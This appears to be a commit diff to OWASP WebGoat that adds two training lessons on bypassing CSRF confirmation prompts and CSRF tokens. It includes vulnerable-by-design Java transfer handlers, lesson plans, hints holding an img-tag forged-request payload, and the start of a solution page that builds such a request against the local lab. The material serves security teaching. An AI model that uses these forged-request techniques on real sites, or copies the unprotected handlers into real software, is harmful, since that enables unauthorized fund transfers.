This change includes two additional CSRF lessons. One for
by-passing a prompt (showing why prompts don't work). The second for by-passing CSRF tokens when XSS exists. It also modifies the existing CSRF lesson so that the lesson can be extended and used by the two new lessons. git-svn-id: http://webgoat.googlecode.com/svn/trunk/webgoat@386 4033779f-a91e-0410-96ef-6bf7bf53c507
@ -6,11 +6,17 @@ import java.sql.PreparedStatement;
|
|||||||
import java.sql.ResultSet;
|
import java.sql.ResultSet;
|
||||||
import java.sql.Statement;
|
import java.sql.Statement;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
|
import java.util.Enumeration;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
|
||||||
import org.apache.ecs.Element;
|
import org.apache.ecs.Element;
|
||||||
import org.apache.ecs.ElementContainer;
|
import org.apache.ecs.ElementContainer;
|
||||||
import org.apache.ecs.StringElement;
|
import org.apache.ecs.StringElement;
|
||||||
import org.apache.ecs.html.B;
|
import org.apache.ecs.html.B;
|
||||||
|
import org.apache.ecs.html.BR;
|
||||||
|
import org.apache.ecs.html.Form;
|
||||||
import org.apache.ecs.html.H1;
|
import org.apache.ecs.html.H1;
|
||||||
import org.apache.ecs.html.HR;
|
import org.apache.ecs.html.HR;
|
||||||
import org.apache.ecs.html.IMG;
|
import org.apache.ecs.html.IMG;
|
||||||
@ -58,7 +64,8 @@ import org.owasp.webgoat.util.HtmlEncoder;
|
|||||||
*/
|
*/
|
||||||
public class CSRF extends LessonAdapter
|
public class CSRF extends LessonAdapter
|
||||||
{
|
{
|
||||||
|
protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds";
|
||||||
|
protected static final String TRANSFER_FUNDS_PAGE = "main";
|
||||||
private final static String MESSAGE = "message";
|
private final static String MESSAGE = "message";
|
||||||
private final static int MESSAGE_COL = 3;
|
private final static int MESSAGE_COL = 3;
|
||||||
private final static String NUMBER = "Num";
|
private final static String NUMBER = "Num";
|
||||||
@ -109,16 +116,60 @@ public class CSRF extends LessonAdapter
|
|||||||
{
|
{
|
||||||
ElementContainer ec = new ElementContainer();
|
ElementContainer ec = new ElementContainer();
|
||||||
|
|
||||||
addMessage(s);
|
if (isTransferFunds(s)){
|
||||||
ec.addElement(makeInput(s));
|
ec.addElement(doTransfer(s));
|
||||||
ec.addElement(new HR());
|
} else {
|
||||||
ec.addElement(makeCurrent(s));
|
addMessage(s);
|
||||||
ec.addElement(new HR());
|
ec.addElement(makeInput(s));
|
||||||
ec.addElement(makeList(s));
|
ec.addElement(new HR());
|
||||||
|
ec.addElement(makeCurrent(s));
|
||||||
|
ec.addElement(new HR());
|
||||||
|
ec.addElement(makeList(s));
|
||||||
|
}
|
||||||
return ec;
|
return ec;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* if TRANSFER_FUND_PARAMETER is a parameter, then doTransfer is invoked. doTranser presents the
|
||||||
|
* web content to display the electronic transfer of funds. An request
|
||||||
|
* should have a dollar amount specified. When this page is accessed it will mark the lesson complete
|
||||||
|
*
|
||||||
|
* @param s
|
||||||
|
* @return Element will appropriate web content for a transfer of funds.
|
||||||
|
*/
|
||||||
|
protected Element doTransfer(WebSession s) {
|
||||||
|
String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""));
|
||||||
|
ElementContainer ec = new ElementContainer();
|
||||||
|
|
||||||
|
if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){
|
||||||
|
|
||||||
|
//transfer form
|
||||||
|
ec.addElement(new H1("Electronic Transfer:"));
|
||||||
|
String action = getLink();
|
||||||
|
Form form = new Form(action, Form.POST);
|
||||||
|
form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0"));
|
||||||
|
//if this token is present we won't mark the lesson as completed
|
||||||
|
form.addElement( new Input(Input.submit));
|
||||||
|
ec.addElement(form);
|
||||||
|
//present transfer funds form
|
||||||
|
} else if (transferFunds.length() != 0){
|
||||||
|
|
||||||
|
//transfer is confirmed
|
||||||
|
ec.addElement(new H1("Electronic Transfer Complete"));
|
||||||
|
ec.addElement(new StringElement("Amount Transfered: "+transferFunds));
|
||||||
|
makeSuccess(s);
|
||||||
|
}
|
||||||
|
return ec;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param s current web session
|
||||||
|
* @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page.
|
||||||
|
*/
|
||||||
|
protected boolean isTransferFunds(WebSession s) {
|
||||||
|
return s.getRequest().getParameterMap().containsKey(TRANSFER_FUNDS_PARAMETER);
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Description of the Method
|
* Description of the Method
|
||||||
*
|
*
|
||||||
@ -142,7 +193,8 @@ public class CSRF extends LessonAdapter
|
|||||||
row2.addElement(item1);
|
row2.addElement(item1);
|
||||||
|
|
||||||
TD item2 = new TD();
|
TD item2 = new TD();
|
||||||
TextArea ta = new TextArea(MESSAGE, 5, 60);
|
TextArea ta = new TextArea(MESSAGE, 12, 60);
|
||||||
|
ta.addAttribute("wrap", "soft");
|
||||||
item2.addElement(ta);
|
item2.addElement(ta);
|
||||||
row2.addElement(item2);
|
row2.addElement(item2);
|
||||||
t.addElement(row1);
|
t.addElement(row1);
|
||||||
@ -281,7 +333,7 @@ public class CSRF extends LessonAdapter
|
|||||||
return Category.XSS;
|
return Category.XSS;
|
||||||
}
|
}
|
||||||
|
|
||||||
private final static Integer DEFAULT_RANKING = new Integer(120);
|
private final static Integer DEFAULT_RANKING = new Integer(121);
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected Integer getDefaultRanking()
|
protected Integer getDefaultRanking()
|
||||||
|
@ -0,0 +1,200 @@
|
|||||||
|
|
||||||
|
package org.owasp.webgoat.lessons;
|
||||||
|
|
||||||
|
import java.sql.Connection;
|
||||||
|
import java.sql.PreparedStatement;
|
||||||
|
import java.sql.ResultSet;
|
||||||
|
import java.sql.Statement;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
|
||||||
|
import org.apache.ecs.Element;
|
||||||
|
import org.apache.ecs.ElementContainer;
|
||||||
|
import org.apache.ecs.StringElement;
|
||||||
|
import org.apache.ecs.html.A;
|
||||||
|
import org.apache.ecs.html.B;
|
||||||
|
import org.apache.ecs.html.BR;
|
||||||
|
import org.apache.ecs.html.Form;
|
||||||
|
import org.apache.ecs.html.H1;
|
||||||
|
import org.apache.ecs.html.HR;
|
||||||
|
import org.apache.ecs.html.IMG;
|
||||||
|
import org.apache.ecs.html.Input;
|
||||||
|
import org.apache.ecs.html.P;
|
||||||
|
import org.apache.ecs.html.TD;
|
||||||
|
import org.apache.ecs.html.TR;
|
||||||
|
import org.apache.ecs.html.Table;
|
||||||
|
import org.apache.ecs.html.TextArea;
|
||||||
|
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||||
|
import org.owasp.webgoat.session.ECSFactory;
|
||||||
|
import org.owasp.webgoat.session.WebSession;
|
||||||
|
import org.owasp.webgoat.util.HtmlEncoder;
|
||||||
|
|
||||||
|
|
||||||
|
/***************************************************************************************************
|
||||||
|
*
|
||||||
|
*
|
||||||
|
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||||
|
* please see http://www.owasp.org/
|
||||||
|
*
|
||||||
|
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||||
|
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||||
|
* License, or (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||||
|
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
* General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along with this program; if
|
||||||
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
|
* 02111-1307, USA.
|
||||||
|
*
|
||||||
|
* Getting Source ==============
|
||||||
|
*
|
||||||
|
* Source for this application is maintained at code.google.com, a repository for free software
|
||||||
|
* projects.
|
||||||
|
*
|
||||||
|
* For details, please see http://code.google.com/p/webgoat/
|
||||||
|
*
|
||||||
|
* @author Contributed by <a href="http://www.partnet.com">PartNet.</a>
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public class CsrfPromptByPass extends CSRF
|
||||||
|
{
|
||||||
|
protected static final String TRANSFER_FUND_AMOUNT_ATTRIBUTE = "transferFundAmount";
|
||||||
|
protected static final String CANCEL_TRANSFER = "CANCEL";
|
||||||
|
protected static final String CONFIRM_TRANFER = "CONFIRM";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the
|
||||||
|
* web content to confirm and then execute a simulated transfer of funds. An initial request
|
||||||
|
* should have a dollar amount specified. The amount will be stored and a confirmation form is presented.
|
||||||
|
* The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed.
|
||||||
|
*
|
||||||
|
* @param s
|
||||||
|
* @return Element will appropriate web content for a transfer of funds.
|
||||||
|
*/
|
||||||
|
protected Element doTransfer(WebSession s) {
|
||||||
|
String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""));
|
||||||
|
ElementContainer ec = new ElementContainer();
|
||||||
|
|
||||||
|
if (transferFunds.length() != 0) {
|
||||||
|
|
||||||
|
HttpSession httpSession = s.getRequest().getSession();
|
||||||
|
Integer transferAmount = (Integer) httpSession.getAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE);
|
||||||
|
|
||||||
|
if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){
|
||||||
|
|
||||||
|
//present transfer form
|
||||||
|
ec.addElement(new H1("Electronic Transfer:"));
|
||||||
|
String action = getLink();
|
||||||
|
Form form = new Form(action, Form.POST);
|
||||||
|
form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0"));
|
||||||
|
//if this token is present we won't mark the lesson as completed
|
||||||
|
form.addElement( new Input(Input.submit));
|
||||||
|
ec.addElement(form);
|
||||||
|
|
||||||
|
} else if (transferFunds.equalsIgnoreCase(CONFIRM_TRANFER) && transferAmount != null ){
|
||||||
|
|
||||||
|
//transfer is confirmed
|
||||||
|
ec.addElement(new H1("Electronic Transfer Complete"));
|
||||||
|
ec.addElement(new StringElement("Amount Transfered: "+transferAmount));
|
||||||
|
makeSuccess(s);
|
||||||
|
|
||||||
|
} else if (transferFunds.equalsIgnoreCase(CANCEL_TRANSFER)){
|
||||||
|
|
||||||
|
//clear any pending fund transfer
|
||||||
|
s.getRequest().removeAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE);
|
||||||
|
|
||||||
|
} else if (transferFunds.length() > 0){
|
||||||
|
|
||||||
|
//save the transfer amount in the session
|
||||||
|
transferAmount = new Integer(transferFunds);
|
||||||
|
httpSession.setAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE, transferAmount);
|
||||||
|
|
||||||
|
//prompt for confirmation
|
||||||
|
|
||||||
|
ec.addElement(new H1("Electronic Transfer Confirmation:"));
|
||||||
|
ec.addElement(new StringElement("Amount to transfer: "+transferAmount));
|
||||||
|
ec.addElement(new BR());
|
||||||
|
String action = getLink();
|
||||||
|
Form form = new Form(action, Form.POST);
|
||||||
|
form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CONFIRM_TRANFER));
|
||||||
|
form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CANCEL_TRANSFER));
|
||||||
|
ec.addElement(form);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// white space
|
||||||
|
ec.addElement(new BR());
|
||||||
|
ec.addElement(new BR());
|
||||||
|
ec.addElement(new BR());
|
||||||
|
return ec;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param s current web session
|
||||||
|
* @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page.
|
||||||
|
*/
|
||||||
|
protected boolean isTransferFunds(WebSession s) {
|
||||||
|
String transferFunds = s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "");
|
||||||
|
if (transferFunds.length() != 0){
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Category getDefaultCategory()
|
||||||
|
{
|
||||||
|
return Category.XSS;
|
||||||
|
}
|
||||||
|
|
||||||
|
private final static Integer DEFAULT_RANKING = new Integer(122);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Integer getDefaultRanking()
|
||||||
|
{
|
||||||
|
|
||||||
|
return DEFAULT_RANKING;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected List<String> getHints(WebSession s)
|
||||||
|
{
|
||||||
|
List<String> hints = new ArrayList<String>();
|
||||||
|
hints.add("Add 'transferFunds=400' to the URL and inspect the form that is returned");
|
||||||
|
hints.add("Add java script to send the confirmation after requesting the transfer");
|
||||||
|
hints.add("Insert two images or iframes, the second with no source. Specify the onload attribute of the first to set the source of the second. ");
|
||||||
|
hints.add("Include this URL in the message <pre><img src='" + getLink()
|
||||||
|
+ "&transferFunds=5000' width=\"1\" height=\"1\" /></pre>");
|
||||||
|
|
||||||
|
return hints;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gets the title attribute of the MessageBoardScreen object
|
||||||
|
*
|
||||||
|
* @return The title value
|
||||||
|
*/
|
||||||
|
public String getTitle()
|
||||||
|
{
|
||||||
|
return ("CSRF Prompt By-Pass");
|
||||||
|
}
|
||||||
|
|
||||||
|
public Element getCredits()
|
||||||
|
{
|
||||||
|
A partnet = new A("http://www.partnet.com");
|
||||||
|
partnet.setPrettyPrint(false);
|
||||||
|
partnet.addElement(new StringElement("PART"));
|
||||||
|
partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false));
|
||||||
|
partnet.setStyle("background-color:midnightblue;color:white");
|
||||||
|
|
||||||
|
ElementContainer credits = new ElementContainer();
|
||||||
|
credits.addElement(new StringElement("Contributed by "));
|
||||||
|
credits.addElement(partnet);
|
||||||
|
credits.addElement(new BR());
|
||||||
|
credits.addElement(new StringElement("Derived from CSRF Lesson by Sherif Koussa"));
|
||||||
|
return credits;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,181 @@
|
|||||||
|
|
||||||
|
package org.owasp.webgoat.lessons;
|
||||||
|
|
||||||
|
import java.security.SecureRandom;
|
||||||
|
import java.sql.Connection;
|
||||||
|
import java.sql.PreparedStatement;
|
||||||
|
import java.sql.ResultSet;
|
||||||
|
import java.sql.Statement;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Random;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
|
||||||
|
import org.apache.ecs.Element;
|
||||||
|
import org.apache.ecs.ElementContainer;
|
||||||
|
import org.apache.ecs.StringElement;
|
||||||
|
import org.apache.ecs.html.A;
|
||||||
|
import org.apache.ecs.html.B;
|
||||||
|
import org.apache.ecs.html.BR;
|
||||||
|
import org.apache.ecs.html.Form;
|
||||||
|
import org.apache.ecs.html.H1;
|
||||||
|
import org.apache.ecs.html.H2;
|
||||||
|
import org.apache.ecs.html.HR;
|
||||||
|
import org.apache.ecs.html.IMG;
|
||||||
|
import org.apache.ecs.html.Input;
|
||||||
|
import org.apache.ecs.html.P;
|
||||||
|
import org.apache.ecs.html.TD;
|
||||||
|
import org.apache.ecs.html.TR;
|
||||||
|
import org.apache.ecs.html.Table;
|
||||||
|
import org.apache.ecs.html.TextArea;
|
||||||
|
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||||
|
import org.owasp.webgoat.session.ECSFactory;
|
||||||
|
import org.owasp.webgoat.session.WebSession;
|
||||||
|
import org.owasp.webgoat.util.HtmlEncoder;
|
||||||
|
|
||||||
|
|
||||||
|
/***************************************************************************************************
|
||||||
|
*
|
||||||
|
*
|
||||||
|
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||||
|
* please see http://www.owasp.org/
|
||||||
|
*
|
||||||
|
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||||
|
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||||
|
* License, or (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||||
|
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
* General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along with this program; if
|
||||||
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
|
* 02111-1307, USA.
|
||||||
|
*
|
||||||
|
* Getting Source ==============
|
||||||
|
*
|
||||||
|
* Source for this application is maintained at code.google.com, a repository for free software
|
||||||
|
* projects.
|
||||||
|
*
|
||||||
|
* For details, please see http://code.google.com/p/webgoat/
|
||||||
|
*
|
||||||
|
* @author Contributed by <a href="http://www.partnet.com">PartNet.</a>
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public class CsrfTokenByPass extends CsrfPromptByPass
|
||||||
|
{
|
||||||
|
protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds";
|
||||||
|
private static final String CSRFTOKEN = "CSRFToken";
|
||||||
|
private static final int INVALID_TOKEN = 0;
|
||||||
|
private final Random random;
|
||||||
|
|
||||||
|
public CsrfTokenByPass(){
|
||||||
|
super();
|
||||||
|
random = new SecureRandom();
|
||||||
|
}
|
||||||
|
/**
|
||||||
|
* if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the
|
||||||
|
* web content to confirm and then execute a simulated transfer of funds. An initial request
|
||||||
|
* should have a dollar amount specified. The amount will be stored and a confirmation form is presented.
|
||||||
|
* The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed.
|
||||||
|
*
|
||||||
|
* @param s
|
||||||
|
* @return Element will appropriate web content for a transfer of funds.
|
||||||
|
*/
|
||||||
|
protected Element doTransfer(WebSession s) {
|
||||||
|
String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""));
|
||||||
|
String passedInTokenString = HtmlEncoder.encode(s.getParser().getRawParameter(CSRFTOKEN, ""));
|
||||||
|
ElementContainer ec = new ElementContainer();
|
||||||
|
|
||||||
|
if (transferFunds.length() != 0)
|
||||||
|
{
|
||||||
|
HttpSession httpSession = s.getRequest().getSession();
|
||||||
|
|
||||||
|
//get tokens to validate
|
||||||
|
Integer sessionToken = (Integer) httpSession.getAttribute(CSRFTOKEN);
|
||||||
|
Integer passedInToken = s.getParser().getIntParameter(CSRFTOKEN, INVALID_TOKEN);
|
||||||
|
|
||||||
|
if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){
|
||||||
|
|
||||||
|
//generate new random token:
|
||||||
|
int token = INVALID_TOKEN;
|
||||||
|
while (token == INVALID_TOKEN){
|
||||||
|
token = random.nextInt();
|
||||||
|
}
|
||||||
|
httpSession.setAttribute(CSRFTOKEN, token);
|
||||||
|
|
||||||
|
//present transfer form
|
||||||
|
ec.addElement(new H1("Electronic Transfer:"));
|
||||||
|
String action = getLink();
|
||||||
|
Form form = new Form(action, Form.POST);
|
||||||
|
form.addAttribute("id", "transferForm");
|
||||||
|
form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0"));
|
||||||
|
form.addElement( new Input(Input.hidden, CSRFTOKEN, token));
|
||||||
|
form.addElement( new Input(Input.submit));
|
||||||
|
ec.addElement(form);
|
||||||
|
//present transfer funds form
|
||||||
|
|
||||||
|
} else if (transferFunds.length() > 0 && sessionToken != null && sessionToken.equals(passedInToken)){
|
||||||
|
|
||||||
|
//transfer is confirmed
|
||||||
|
ec.addElement(new H1("Electronic Transfer Complete"));
|
||||||
|
ec.addElement(new StringElement("Amount Transfered: "+transferFunds));
|
||||||
|
makeSuccess(s);
|
||||||
|
|
||||||
|
}
|
||||||
|
//white space
|
||||||
|
ec.addElement(new BR());
|
||||||
|
ec.addElement(new BR());
|
||||||
|
ec.addElement(new BR());
|
||||||
|
}
|
||||||
|
return ec;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private final static Integer DEFAULT_RANKING = new Integer(123);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Integer getDefaultRanking()
|
||||||
|
{
|
||||||
|
|
||||||
|
return DEFAULT_RANKING;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected List<String> getHints(WebSession s)
|
||||||
|
{
|
||||||
|
List<String> hints = new ArrayList<String>();
|
||||||
|
hints.add("Add 'transferFunds=main' to the URL and inspect the form that is returned");
|
||||||
|
hints.add("The forged request needs both a token and the transfer funds parameter");
|
||||||
|
hints.add("Find the token in the page with transferFunds=main. Can you script a way to get the token?");
|
||||||
|
|
||||||
|
return hints;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gets the title attribute of the MessageBoardScreen object
|
||||||
|
*
|
||||||
|
* @return The title value
|
||||||
|
*/
|
||||||
|
public String getTitle()
|
||||||
|
{
|
||||||
|
return ("CSRF Token By-Pass");
|
||||||
|
}
|
||||||
|
|
||||||
|
public Element getCredits()
|
||||||
|
{
|
||||||
|
A partnet = new A("http://www.partnet.com");
|
||||||
|
partnet.setPrettyPrint(false);
|
||||||
|
partnet.addElement(new StringElement("PART"));
|
||||||
|
partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false));
|
||||||
|
partnet.setStyle("background-color:midnightblue;color:white");
|
||||||
|
|
||||||
|
ElementContainer credits = new ElementContainer();
|
||||||
|
credits.addElement(new StringElement("Contributed by "));
|
||||||
|
credits.addElement(partnet);
|
||||||
|
credits.addElement(new BR());
|
||||||
|
credits.addElement(new StringElement("Derived from CSRF Lesson by Sherif Koussa"));
|
||||||
|
return credits;
|
||||||
|
}
|
||||||
|
}
|
@ -16,6 +16,8 @@ category.Cross-Site\ Scripting\ (XSS).ranking=41
|
|||||||
lesson.StoredXss.ranking=10
|
lesson.StoredXss.ranking=10
|
||||||
lesson.ReflectedXSS.ranking=20
|
lesson.ReflectedXSS.ranking=20
|
||||||
lesson.CSRF.ranking=30
|
lesson.CSRF.ranking=30
|
||||||
|
lesson.CsrfPromptByPass.ranking=40
|
||||||
|
lesson.CsrfTokenByPass.ranking=50
|
||||||
lesson.CrossSiteScripting.hidden=true
|
lesson.CrossSiteScripting.hidden=true
|
||||||
|
|
||||||
category.Unvalidated\ Parameters.ranking=51
|
category.Unvalidated\ Parameters.ranking=51
|
||||||
|
@ -15,6 +15,8 @@ category.Cross-Site\ Scripting\ (XSS).ranking=41
|
|||||||
lesson.StoredXss.ranking=10
|
lesson.StoredXss.ranking=10
|
||||||
lesson.ReflectedXSS.ranking=20
|
lesson.ReflectedXSS.ranking=20
|
||||||
lesson.CSRF.ranking=30
|
lesson.CSRF.ranking=30
|
||||||
|
lesson.CsrfPromptByPass.ranking=40
|
||||||
|
lesson.CsrfTokenByPass.ranking=50
|
||||||
|
|
||||||
category.Unvalidated\ Parameters.ranking=51
|
category.Unvalidated\ Parameters.ranking=51
|
||||||
lesson.HiddenFieldTampering.ranking=10
|
lesson.HiddenFieldTampering.ranking=10
|
||||||
|
32
main/project/WebContent/lesson_plans/CsrfPromptByPass.html
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
<div align="Center">
|
||||||
|
<p><b>Lesson Plan Title:</b>CSRF User Prompt By-Pass</p><br/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p><b>Concept / Topic To Teach:</b> </p>
|
||||||
|
This lesson teaches how to perform CSRF attacks that by-pass user confirmation prompts.
|
||||||
|
<br>
|
||||||
|
<div align="Left">
|
||||||
|
<p>
|
||||||
|
<b>How the attacks works:</b>
|
||||||
|
<p>
|
||||||
|
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a page
|
||||||
|
that contains a 'forged request' to execute commands with the victim's credentials. Prompting
|
||||||
|
a user to confirm or cancel the command might sound like a solution, but can be by-passed if
|
||||||
|
the prompt is scriptable. This lesson shows how to by-pass such a prompt by issuing another
|
||||||
|
forged request. This can also apply to a series of prompts such as a wizard or issuing multiple
|
||||||
|
unrelated forged requests.</p>
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<p><b>General Goal(s):</b> </p>
|
||||||
|
<!-- Start Instructions -->
|
||||||
|
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple
|
||||||
|
malicious requests: the first to transfer funds, and the second a request to confirm the prompt
|
||||||
|
that the first request triggered. The URL should point to the CSRF lesson with an extra
|
||||||
|
parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the
|
||||||
|
left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever
|
||||||
|
receives this email and happens to be authenticated at that time will have his funds transferred.
|
||||||
|
When you think the attack is successful, refresh the page and you will find the green check on
|
||||||
|
the left hand side menu.
|
||||||
|
<!-- Stop Instructions -->
|
||||||
|
|
37
main/project/WebContent/lesson_plans/CsrfTokenByPass.html
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
<div align="Center">
|
||||||
|
<p><b>Lesson Plan Title:</b>CSRF Token Prompt By-Pass</p><br/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p><b>Concept / Topic To Teach:</b> </p>
|
||||||
|
This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks.
|
||||||
|
<br>
|
||||||
|
<div align="Left">
|
||||||
|
<p>
|
||||||
|
<b>How the attacks works:</b>
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into
|
||||||
|
loading a page that contains a 'forged request' to execute commands with the
|
||||||
|
victim's credentials. </p>
|
||||||
|
|
||||||
|
<p>Token-based request authentication mitigates these attacks. This technique
|
||||||
|
inserts tokens into pages that issue requests. These tokens are required to
|
||||||
|
complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses
|
||||||
|
this technique to help prevent CSRF attacks.</p>
|
||||||
|
|
||||||
|
<p>However, this technique can be by-passed if CSS vulnerabilities exist on the same site.
|
||||||
|
Because of the same-origin browser policy, pages from the same domain can read content from
|
||||||
|
other pages from the same domain. </p>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<p><b>General Goal(s):</b> </p>
|
||||||
|
<!-- Start Instructions -->
|
||||||
|
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious
|
||||||
|
request to transfer funds. To successfully complete you need to obtain a valid request token.
|
||||||
|
The page that presents the transfer funds form contains a valid request token. The URL for the
|
||||||
|
transfer funds page is the same as this lesson with an extra parameter "transferFunds=main". Load
|
||||||
|
this page, read the token and append the token in a forged request to transferFunds. When you think
|
||||||
|
the attack is successful, refresh the page and you will find the green check on the left hand side menu.
|
||||||
|
<!-- Stop Instructions -->
|
||||||
|
|
||||||
|
|
109
main/project/WebContent/lesson_solutions/CsrfPromptByPass.html
Normal file
@ -0,0 +1,109 @@
|
|||||||
|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||||
|
<title>Client Side Filtering</title>
|
||||||
|
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<p><b>Lesson Plan Title:</b>Prompt By-Pass with CSRF</p>
|
||||||
|
|
||||||
|
<p><b>Concept / Topic To Teach:</b><br/>
|
||||||
|
This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks containing
|
||||||
|
multiple requests to by-pass a scriptable user-prompt
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p><b>General Goal(s):</b><br/>
|
||||||
|
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple
|
||||||
|
malicious requests: the first to transfer funds, and the second a request to confirm the prompt
|
||||||
|
that the first request triggered. The URL should point to the CSRF lesson with an extra
|
||||||
|
parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the
|
||||||
|
left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever
|
||||||
|
receives this email and happens to be authenticated at that time will have his funds transferred.
|
||||||
|
When you think the attack is successful, refresh the page and you will find the green check on
|
||||||
|
the left hand side menu
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<b>Solution:</b><br/>
|
||||||
|
|
||||||
|
<p>Start by crafting an image or iframe tag similar to the CSRF LAB: <code><img
|
||||||
|
src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
|
||||||
|
width="1" height="1" /></code>
|
||||||
|
|
||||||
|
This image request will not result in a transfer of funds but will instead
|
||||||
|
prompt the user for confirmation. To see the confirmation prompt, try typing in the URL of the
|
||||||
|
Lesson with the extra parameter of "transferFunds=4000" <br/>
|
||||||
|
|
||||||
|
<img src="lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png" alt="User Prompt for confirmation of the transfer of funds" /><br>
|
||||||
|
<font size="2"><b>User Prompt</b></font>
|
||||||
|
</p>
|
